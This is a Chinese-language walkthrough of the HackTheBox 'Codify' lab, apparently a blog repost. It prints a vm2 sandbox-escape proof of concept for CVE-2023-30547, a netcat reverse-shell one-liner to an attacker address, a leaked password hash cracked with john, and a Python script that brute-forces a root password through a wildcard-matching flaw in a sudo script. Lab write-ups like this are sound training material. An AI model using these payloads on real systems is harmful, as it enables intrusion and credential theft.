阅读须知：

探索者安全团队技术文章仅供参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作,由于传播、利用本公众号所提供的技术和信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任,如有侵权烦请告知，我们会立即删除并致歉,创作不易转载请标明出处.感谢!

师傅: Breeze https://www.cnblogs.com/ForBreeze

信息搜集2

HackTheBox？Codify！插图

直接nmap端口扫描一下

HackTheBox？Codify！插图1

只开放了22,80,3000端口

HackTheBox？Codify！插图2

我们输入ip却变成了域名，我们将其写入hosts文件

echo "10.10.11.239 codify.htb" | sudo tee -a /etc/hosts

继续访问，发现访问成功

HackTheBox？Codify！插图3

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

点击about us，我们能知道这是用vm2来提供安全的沙盒环境

Vm2：

Vm2是一个库，为执行 JavaScript 代码提供安全的沙盒环境，主要用于 Node.js 等服务器端环境。它允许在受控环境中创建和运行 JavaScript 代码，通过将代码执行与主应用程序隔离来提供额外的安全层。因此，可以执行潜在不安全或不受信任的代码，而不会影响托管应用程序的稳定性或安全性。
当 vm2 位置不存在时，使用 Eval（一个 JS 函数）代替 vm2 位置，这会导致一些严重的安全问题。eval 和 vm2 库都与动态执行 JavaScript 代码相关。但如果用户输入直接传递给eval，则可以允许任意代码执行，而vm2提供了沙箱环境并限制对特定全局对象或函数的访问。

CVE-2023-30547:

为了防止主机异常泄漏到 vm2 沙箱中，使用Transformer()函数对代码进行预处理，该函数添加了handleException()清理函数调用。然而，该漏洞与 CatchClause 和 ObjectPattern 有关。
发生这种情况时，代码会调用handleException()，然后在嵌套的try-catch 块中重新抛出清理后的异常。用于清理， handleException()调用thisReflectGetPrototypeOf() ，这是一个使用Reflect.getPrototypeOf( )访问对象原型的函数。
此步骤对于正确的沙箱功能非常重要。当原型对象被代理并且存在getPrototypeOf()代理处理程序时，就会出现问题。这可能会引发未经处理的主机异常，然后由外部 catch 语句捕获该异常。 攻击者可以通过在getPrototypeOf()
代理处理程序内引发非代理主机异常来利用这一点。他们可以将其注册到一个对象并抛出它，从而将主机异常泄漏到沙箱中。通过访问泄露的主机异常，攻击者有可能逃离沙箱并获得对主机功能的访问权限，从而危及环境安全。简而言之，当主机环境中的异常可能泄漏到沙箱中时，就会出现此漏洞。由于使用ObjectPattern处理CatchClause ，可能会发生这种情况。为了利用此漏洞，攻击者可以使用特定技术引发主机异常，从而逃脱沙箱并访问主机功能。这会影响 3.9.16 及之前的 vm2 版本。成功利用该漏洞可以让攻击者绕过沙箱并执行任意代码。

我们赋值poc去验证

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};

const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));

HackTheBox？Codify！插图4

执行成功，说明有这个漏洞

利用CVE-2023-30547获取权限

我们在攻击机建立监听，监听本机的4444端口

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.23 4444 >/tmp/f

HackTheBox？Codify！插图5

获得的是一个伪shell

我们用pty得到反弹shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

我们进入/var/www/contact文件夹查看数据库配置信息，得到

joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

HackTheBox？Codify！插图6

我们用john来爆破密码

HackTheBox？Codify！插图7

我们直接登陆ssh账号

HackTheBox？Codify！插图8

接下来用命令 id 查看一下用户信息，用sudo -l显示出自己（执行 sudo 的使用者）的权限 sudo -l

HackTheBox？Codify！插图9

我们查看一下这个文件，因为我们可以直接以root权限运行它

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

分析

if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi

脚本的这一部分将用户提供的密码（USER_PASS）与实际的数据库密码（DB_PASS）进行比较。此处的漏洞是由于在 Bash 中使用 [[ ]] 中的 == 所致，它执行模式匹配而不是直接字符串比较。这意味着用户输入（USER_PASS）被视为一种模式，如果它包含 * 或？等通配字符，则它可能会匹配意外的字符串。

例如，如果实际密码（DB_PASS）是 password，但是用户输入 * 作为其密码（USER_PASS），则模式匹配将成功，因为 * 匹配任何字符串，从而导致未经授权的访问

那我们就可以写脚本爆破它的密码

# test.py 
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
for character in all:
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

if "Password confirmed!" in output:
password += character
print(password)
break
else:
found = True

HackTheBox？Codify！插图10

爆破出完整的密码

HackTheBox？Codify！插图11

直接登陆root账号，拿到flag

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。

本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！

程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）

HackTheBox？Codify！

阅读须知：

信息搜集2

利用CVE-2023-30547获取权限

我们用john来爆破密码

相关文章

发布评论取消回复

HackTheBox？Codify！

阅读须知：

信息搜集2

利用CVE-2023-30547获取权限

我们用john来爆破密码

相关文章：

相关文章

发布评论 取消回复

发布评论取消回复